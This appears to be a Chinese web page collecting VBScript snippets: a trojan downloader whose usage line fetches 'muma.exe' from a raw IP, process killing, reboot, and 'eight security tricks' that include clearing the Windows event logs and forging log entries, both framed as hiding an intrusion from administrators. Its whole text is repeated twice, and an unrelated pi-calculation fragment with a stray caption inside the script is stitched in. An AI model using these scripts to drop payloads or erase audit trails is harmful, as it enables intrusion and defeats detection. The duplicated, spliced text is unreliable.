收集的一些經(jīng)典的vbs腳本大全
更新時間:2007年02月26日 00:00:00 作者:
記錄一些經(jīng)典的vbs腳本
1.文件下載(無回顯)
echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe
echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe
echo Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbe
echo xPost.Open "GET",iRemote,0 >>iget.vbe
echo xPost.Send() >>iget.vbe
echo Set sGet = createObject("ADODB.Stream") >>iget.vbe
echo sGet.Mode = 3 >>iget.vbe
echo sGet.Type = 1 >>iget.vbe
echo sGet.Open() >>iget.vbe
echo sGet.Write(xPost.responseBody) >>iget.vbe
echo sGet.SaveToFile iLocal,2 >>iget.vbe
用法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe
2.列舉進(jìn)程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
用法:cscript ps.vbs
3.終止進(jìn)程
@echo for each ps in getobject _ >pskill.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs
用法:cscript pskill.vbs pid
4.重啟系統(tǒng)
@echo for each os in getobject _ >reboot.vbs
@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs
@echo os.win32shutdown(2):next >>reboot.vbs
用法:cscript reboot.vbs
VBS腳本在系統(tǒng)安全中的八則巧妙應(yīng)用
VBS腳本病毒的大量流行使我們對VBS的功能有了一個全新的認(rèn)識,現(xiàn)在大家對它也開始重視起來。VBS代碼在本地是通過Windows Script Host(WSH)解釋執(zhí)行的。VBS腳本的執(zhí)行離不開WSH,WSH是微軟提供的一種基于32位Windows平臺的、與語言無關(guān)的腳本解釋機制,它使得腳本能夠直接在Windows桌面或命令提示符下運行。利用WSH,用戶能夠操縱WSH對象、ActiveX對象、注冊表和文件系統(tǒng)。在Windows 2000下,還可用WSH來訪問Windows NT活動目錄服務(wù)。
用VBS編寫的腳本程序在窗口界面是由wscript.exe文件解釋執(zhí)行的,在字符界面由cscript.exe文件解釋執(zhí)行。wscript.exe是一個腳本語言解釋器,正是它使得腳本可以被執(zhí)行,就象執(zhí)行批處理一樣。關(guān)于VBS大家一定比我熟悉多了,所以再不廢話,直接進(jìn)入主題,看看我總結(jié)的VBS在系統(tǒng)安全中的八則妙用吧。
一、給注冊表編輯器解鎖
用記事本編輯如下內(nèi)容:
DIM WSH
SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL") '擊活WScript.Shell對象
WSH.POPUP("解鎖注冊表編輯器!")
'顯示彈出信息“解鎖注冊表編輯器!”
WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion
\Policies\System\DisableRegistryTools",0,"REG_DWORD"
'給注冊表編輯器解鎖
WSH.POPUP("注冊表解鎖成功!")
'顯示彈出信息“注冊表解鎖成功!”
保存為以.vbs為擴展名的文件,使用時雙擊即可。
二、關(guān)閉Win NT/2000的默認(rèn)共享
用記事本編輯如下內(nèi)容:
Dim WSHShell'定義變量
set WSHShell=CreateObject("WScript.shell") '創(chuàng)建一個能與操作系統(tǒng)溝通的對象WSHShell
Dim fso,dc
Set fso=CreateObject("Scripting.FileSystemObject")'創(chuàng)建文件系統(tǒng)對象
set dc=fso.Drives '獲取所有驅(qū)動器盤符
For Each d in dc
Dim str
WSHShell.run("net share"&d.driveletter &"$ /delete")'關(guān)閉所有驅(qū)動器的隱藏共享
next
WSHShell.run("net share admin$ /delete")
WSHShell.run("net share ipc$ /delete")'關(guān)閉admin$和ipc$管道共享
現(xiàn)在來測試一下,先打開cmd.exe,輸入net share命令就可以看到自己機子上的共享。雙擊執(zhí)行stopshare.vbs后,會看見窗口一閃而過。然后再在cmd里輸入net share命令,這時候沒有發(fā)現(xiàn)共享列表了
三、顯示本機IP地址
有許多時候,我們需要知道本機的IP地址,使用各種軟件雖然可以辦到,但用VBS腳本也非常的方便。用記事本編輯如下內(nèi)容:
Dim WS
Set WS=CreateObject("MSWinsock.Winsock")
IPAddress=WS.LocalIP
MsgBox "Local IP=" & IPAddress
將上面的內(nèi)容保存為ShowIP.vbs,雙擊執(zhí)行即可得到本機IP地址。
四、利用腳本編程刪除日志
入侵系統(tǒng)成功后黑客做的第一件事便是清除日志,如果以圖形界面遠(yuǎn)程控制對方機器或是從終端登陸進(jìn)入,刪除日志不是一件困難的事,由于日志雖然也是作為一種服務(wù)運行,但不同于http,ftp這樣的服務(wù),可以在命令行下先停止,再刪除,在命令行下用net stop eventlog是不能停止的,所以有人認(rèn)為在命令行下刪除日志是很困難的,實際上不是這樣,比方說利用腳本編程中的VMI就可以刪除日志,而且非常的簡單方便。源代碼如下:
strComputer= "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Backup)}!\\" & _
strComputer & "\root\cimv2")
dim mylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
for Each logs in mylogs
Set colLogFiles=objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'")
For Each objLogfile in colLogFiles
objLogFile.ClearEventLog()
Next
next
將上面的代碼保存為cleanevent.vbs文件即可。在上面的代碼中,首先獲得object對象,然后利用其clearEventLog()方法刪除日志。建立一個數(shù)組,application,security,system,如果還有其他日志也可以加入數(shù)組。然后用一個for循環(huán),刪除數(shù)組中的每一個元素,即各個日志。
五、利用腳本偽造日志
刪除日志后,任何一個有頭腦的管理員面對空空的日志,馬上就會反應(yīng)過來被入侵了,所以一個聰明的黑客的學(xué)會如何偽造日志。利用腳本編程中的eventlog方法創(chuàng)造日志非常簡單,請看下面的代碼:
set ws=wscript.createobject("Wscript.shell")
ws.logevent 0 ,"write log success" '創(chuàng)建一個成功執(zhí)行日志
將上面的代碼保存為createlog.vbs即可。這段代碼很容易理解,首先獲得wscript的一個shell對象,然后利用shell對象的logevent方法。logevent的用法:logevent eventtype,"description" [,remote system],其中eventtype為日志類型,可以使用的參數(shù)如下:0代表成功執(zhí)行,1執(zhí)行出錯,2警告,4信息,8成功審計,16故障審計。所以上面代碼中,把0改為1,2,4,8,16均可,引號中的內(nèi)容為日志描述。利用這種方法寫的日志有一個缺點,即只能寫到應(yīng)用程序日志,而且日志來源只能為WSH,即Windows Scripting Host,所以不能起太多的隱蔽作用,在此僅供大家參考。
六、禁用開始菜單選項
用記事本編輯如下內(nèi)容:
Dim ChangeStartMenu
Set ChangeStartMenu=WScript.CreateObject("WScript.Shell")
RegPath="HKCR\Software\Microsoft\Windows\CurrentVersion\Policies\"
Type_Name="REG_DWORD"
Key_Data=1
StartMenu_Run="NoRun"
StartMenu_Find="NoFind"
StartMenu_Close="NoClose"
Sub Change(Argument)
ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name
MsgBox("Success!")
End Sub
Call Change(StartMenu_Run) '禁用“開始”菜單中的“運行”功能
Call Change(StartMenu_Find) '禁用“開始”菜單中的“查找”功能
Call Change(StartMenu_Close) '禁用“開始”菜單中的“關(guān)閉系統(tǒng)”功能
將以上代碼保存為ChangeStartMenu.vbs文件,使用時雙擊即可。
七、執(zhí)行外部程序
用記事本編輯如下內(nèi)容:
DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C set var=world", 1, TRUE)
保存為.vbs文件即可。在這段代碼中,我們首先設(shè)置了一個環(huán)境變量,其名為var,而值為world,用戶可以使用%Comspec%來代替cmd.exe,并且可以把命令:set var=world改成其它的命令,這樣就可以使它可以運行任意的命令。
八、重新啟動指定的IIS服務(wù)
用記事本編輯如下內(nèi)容:
Const ADS_SERVICE_STOPPED = 1
Set objComputer = GetObject("WinNT://MYCOMPUTER,computer")
Set objService = objComputer.GetObject("Service","MYSERVICE")
If (objService.Status = ADS_SERVICE_STOPPED) Then
objService.Start
End If
將它以startsvc.vbs為名保存在C盤根目錄。并通過如下命令執(zhí)行:cscript c:\startsvc.vbs。運行后,經(jīng)你指定的IIS服務(wù)項將被重新開啟。
最后,我們再說說開篇時提到的VBS腳本病毒的防范方法。VBS病毒的執(zhí)行離不開WSH,在帶給人們便利的同時,WSH也為病毒的傳播留下可乘之機。所以要想防范VBS病毒,可以選擇將WSH卸載,只要打開控制面板,找到“添加/刪除程序”,點選“Windows安裝程序”,再鼠標(biāo)雙擊其中的“附件”一項,然后再在打開的窗口中將“Windows Scripting Host”一項的“√”去掉,然后連續(xù)點兩次“確定”就可以將WSH卸載?;蛘撸阋部梢渣c擊“我的電腦”→“查看”→“文件夾選項”,在彈出的對話框中,點擊“文件類型”,然后刪除VBS、VBE、JS、JSE文件后綴名與應(yīng)用程序的映射,都可以達(dá)到防范VBS腳本病毒的目的。
當(dāng)最后一項的絕對值小于0.000001時停止計算。
編寫如下VBScript程序代碼:
<HTML>
<HEAD><TITLE>計算圓周率π</TITLE></HEAD>
<BODY><H3>計算圓周率π</H3><HR>
<INPUT TYPE="Button" NAME="Button1" VALUE="計算">
<SCRIPT FOR="Button1" EVENT="onClick" LANGUAGE="VBScript">
k = 1: s = 1: t = 1: m = 1
圖3-12 計算圓周率
While Abs(t) > 0.0000001
k = k + 2
m = -m
t = m / k
s = s + t
Wend
MsgBox "圓周率π=" & 4 * s
</SCRIPT>
</BODY>
</HTML>
執(zhí)行VBScript程序,瀏覽器顯示如圖3-12所示。
注意:程序運行時間可能很長。
只有30字節(jié),能寫什么?
1.文件下載(無回顯)
echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe
echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe
echo Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbe
echo xPost.Open "GET",iRemote,0 >>iget.vbe
echo xPost.Send() >>iget.vbe
echo Set sGet = createObject("ADODB.Stream") >>iget.vbe
echo sGet.Mode = 3 >>iget.vbe
echo sGet.Type = 1 >>iget.vbe
echo sGet.Open() >>iget.vbe
echo sGet.Write(xPost.responseBody) >>iget.vbe
echo sGet.SaveToFile iLocal,2 >>iget.vbe
用法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe
2.列舉進(jìn)程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
用法:cscript ps.vbs
3.終止進(jìn)程
@echo for each ps in getobject _ >pskill.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs
用法:cscript pskill.vbs pid
4.重啟系統(tǒng)
@echo for each os in getobject _ >reboot.vbs
@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs
@echo os.win32shutdown(2):next >>reboot.vbs
用法:cscript reboot.vbs
VBS腳本在系統(tǒng)安全中的八則巧妙應(yīng)用
VBS腳本病毒的大量流行使我們對VBS的功能有了一個全新的認(rèn)識,現(xiàn)在大家對它也開始重視起來。VBS代碼在本地是通過Windows Script Host(WSH)解釋執(zhí)行的。VBS腳本的執(zhí)行離不開WSH,WSH是微軟提供的一種基于32位Windows平臺的、與語言無關(guān)的腳本解釋機制,它使得腳本能夠直接在Windows桌面或命令提示符下運行。利用WSH,用戶能夠操縱WSH對象、ActiveX對象、注冊表和文件系統(tǒng)。在Windows 2000下,還可用WSH來訪問Windows NT活動目錄服務(wù)。
用VBS編寫的腳本程序在窗口界面是由wscript.exe文件解釋執(zhí)行的,在字符界面由cscript.exe文件解釋執(zhí)行。wscript.exe是一個腳本語言解釋器,正是它使得腳本可以被執(zhí)行,就象執(zhí)行批處理一樣。關(guān)于VBS大家一定比我熟悉多了,所以再不廢話,直接進(jìn)入主題,看看我總結(jié)的VBS在系統(tǒng)安全中的八則妙用吧。
一、給注冊表編輯器解鎖
用記事本編輯如下內(nèi)容:
DIM WSH
SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL") '擊活WScript.Shell對象
WSH.POPUP("解鎖注冊表編輯器!")
'顯示彈出信息“解鎖注冊表編輯器!”
WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion
\Policies\System\DisableRegistryTools",0,"REG_DWORD"
'給注冊表編輯器解鎖
WSH.POPUP("注冊表解鎖成功!")
'顯示彈出信息“注冊表解鎖成功!”
保存為以.vbs為擴展名的文件,使用時雙擊即可。
二、關(guān)閉Win NT/2000的默認(rèn)共享
用記事本編輯如下內(nèi)容:
Dim WSHShell'定義變量
set WSHShell=CreateObject("WScript.shell") '創(chuàng)建一個能與操作系統(tǒng)溝通的對象WSHShell
Dim fso,dc
Set fso=CreateObject("Scripting.FileSystemObject")'創(chuàng)建文件系統(tǒng)對象
set dc=fso.Drives '獲取所有驅(qū)動器盤符
For Each d in dc
Dim str
WSHShell.run("net share"&d.driveletter &"$ /delete")'關(guān)閉所有驅(qū)動器的隱藏共享
next
WSHShell.run("net share admin$ /delete")
WSHShell.run("net share ipc$ /delete")'關(guān)閉admin$和ipc$管道共享
現(xiàn)在來測試一下,先打開cmd.exe,輸入net share命令就可以看到自己機子上的共享。雙擊執(zhí)行stopshare.vbs后,會看見窗口一閃而過。然后再在cmd里輸入net share命令,這時候沒有發(fā)現(xiàn)共享列表了
三、顯示本機IP地址
有許多時候,我們需要知道本機的IP地址,使用各種軟件雖然可以辦到,但用VBS腳本也非常的方便。用記事本編輯如下內(nèi)容:
Dim WS
Set WS=CreateObject("MSWinsock.Winsock")
IPAddress=WS.LocalIP
MsgBox "Local IP=" & IPAddress
將上面的內(nèi)容保存為ShowIP.vbs,雙擊執(zhí)行即可得到本機IP地址。
四、利用腳本編程刪除日志
入侵系統(tǒng)成功后黑客做的第一件事便是清除日志,如果以圖形界面遠(yuǎn)程控制對方機器或是從終端登陸進(jìn)入,刪除日志不是一件困難的事,由于日志雖然也是作為一種服務(wù)運行,但不同于http,ftp這樣的服務(wù),可以在命令行下先停止,再刪除,在命令行下用net stop eventlog是不能停止的,所以有人認(rèn)為在命令行下刪除日志是很困難的,實際上不是這樣,比方說利用腳本編程中的VMI就可以刪除日志,而且非常的簡單方便。源代碼如下:
strComputer= "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Backup)}!\\" & _
strComputer & "\root\cimv2")
dim mylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
for Each logs in mylogs
Set colLogFiles=objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'")
For Each objLogfile in colLogFiles
objLogFile.ClearEventLog()
Next
next
將上面的代碼保存為cleanevent.vbs文件即可。在上面的代碼中,首先獲得object對象,然后利用其clearEventLog()方法刪除日志。建立一個數(shù)組,application,security,system,如果還有其他日志也可以加入數(shù)組。然后用一個for循環(huán),刪除數(shù)組中的每一個元素,即各個日志。
五、利用腳本偽造日志
刪除日志后,任何一個有頭腦的管理員面對空空的日志,馬上就會反應(yīng)過來被入侵了,所以一個聰明的黑客的學(xué)會如何偽造日志。利用腳本編程中的eventlog方法創(chuàng)造日志非常簡單,請看下面的代碼:
set ws=wscript.createobject("Wscript.shell")
ws.logevent 0 ,"write log success" '創(chuàng)建一個成功執(zhí)行日志
將上面的代碼保存為createlog.vbs即可。這段代碼很容易理解,首先獲得wscript的一個shell對象,然后利用shell對象的logevent方法。logevent的用法:logevent eventtype,"description" [,remote system],其中eventtype為日志類型,可以使用的參數(shù)如下:0代表成功執(zhí)行,1執(zhí)行出錯,2警告,4信息,8成功審計,16故障審計。所以上面代碼中,把0改為1,2,4,8,16均可,引號中的內(nèi)容為日志描述。利用這種方法寫的日志有一個缺點,即只能寫到應(yīng)用程序日志,而且日志來源只能為WSH,即Windows Scripting Host,所以不能起太多的隱蔽作用,在此僅供大家參考。
六、禁用開始菜單選項
用記事本編輯如下內(nèi)容:
Dim ChangeStartMenu
Set ChangeStartMenu=WScript.CreateObject("WScript.Shell")
RegPath="HKCR\Software\Microsoft\Windows\CurrentVersion\Policies\"
Type_Name="REG_DWORD"
Key_Data=1
StartMenu_Run="NoRun"
StartMenu_Find="NoFind"
StartMenu_Close="NoClose"
Sub Change(Argument)
ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name
MsgBox("Success!")
End Sub
Call Change(StartMenu_Run) '禁用“開始”菜單中的“運行”功能
Call Change(StartMenu_Find) '禁用“開始”菜單中的“查找”功能
Call Change(StartMenu_Close) '禁用“開始”菜單中的“關(guān)閉系統(tǒng)”功能
將以上代碼保存為ChangeStartMenu.vbs文件,使用時雙擊即可。
七、執(zhí)行外部程序
用記事本編輯如下內(nèi)容:
DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C set var=world", 1, TRUE)
保存為.vbs文件即可。在這段代碼中,我們首先設(shè)置了一個環(huán)境變量,其名為var,而值為world,用戶可以使用%Comspec%來代替cmd.exe,并且可以把命令:set var=world改成其它的命令,這樣就可以使它可以運行任意的命令。
八、重新啟動指定的IIS服務(wù)
用記事本編輯如下內(nèi)容:
Const ADS_SERVICE_STOPPED = 1
Set objComputer = GetObject("WinNT://MYCOMPUTER,computer")
Set objService = objComputer.GetObject("Service","MYSERVICE")
If (objService.Status = ADS_SERVICE_STOPPED) Then
objService.Start
End If
將它以startsvc.vbs為名保存在C盤根目錄。并通過如下命令執(zhí)行:cscript c:\startsvc.vbs。運行后,經(jīng)你指定的IIS服務(wù)項將被重新開啟。
最后,我們再說說開篇時提到的VBS腳本病毒的防范方法。VBS病毒的執(zhí)行離不開WSH,在帶給人們便利的同時,WSH也為病毒的傳播留下可乘之機。所以要想防范VBS病毒,可以選擇將WSH卸載,只要打開控制面板,找到“添加/刪除程序”,點選“Windows安裝程序”,再鼠標(biāo)雙擊其中的“附件”一項,然后再在打開的窗口中將“Windows Scripting Host”一項的“√”去掉,然后連續(xù)點兩次“確定”就可以將WSH卸載?;蛘撸阋部梢渣c擊“我的電腦”→“查看”→“文件夾選項”,在彈出的對話框中,點擊“文件類型”,然后刪除VBS、VBE、JS、JSE文件后綴名與應(yīng)用程序的映射,都可以達(dá)到防范VBS腳本病毒的目的。
當(dāng)最后一項的絕對值小于0.000001時停止計算。
編寫如下VBScript程序代碼:
<HTML>
<HEAD><TITLE>計算圓周率π</TITLE></HEAD>
<BODY><H3>計算圓周率π</H3><HR>
<INPUT TYPE="Button" NAME="Button1" VALUE="計算">
<SCRIPT FOR="Button1" EVENT="onClick" LANGUAGE="VBScript">
k = 1: s = 1: t = 1: m = 1
圖3-12 計算圓周率
While Abs(t) > 0.0000001
k = k + 2
m = -m
t = m / k
s = s + t
Wend
MsgBox "圓周率π=" & 4 * s
</SCRIPT>
</BODY>
</HTML>
執(zhí)行VBScript程序,瀏覽器顯示如圖3-12所示。
注意:程序運行時間可能很長。
只有30字節(jié),能寫什么?
相關(guān)文章
VBScript教程 第三課VBScript數(shù)據(jù)類型
VBScript教程 第三課VBScript數(shù)據(jù)類型...2006-11-11VBS教程:VBscript語句-For Each...Next 語句
VBS教程:VBscript語句-For Each...Next 語句...2006-11-11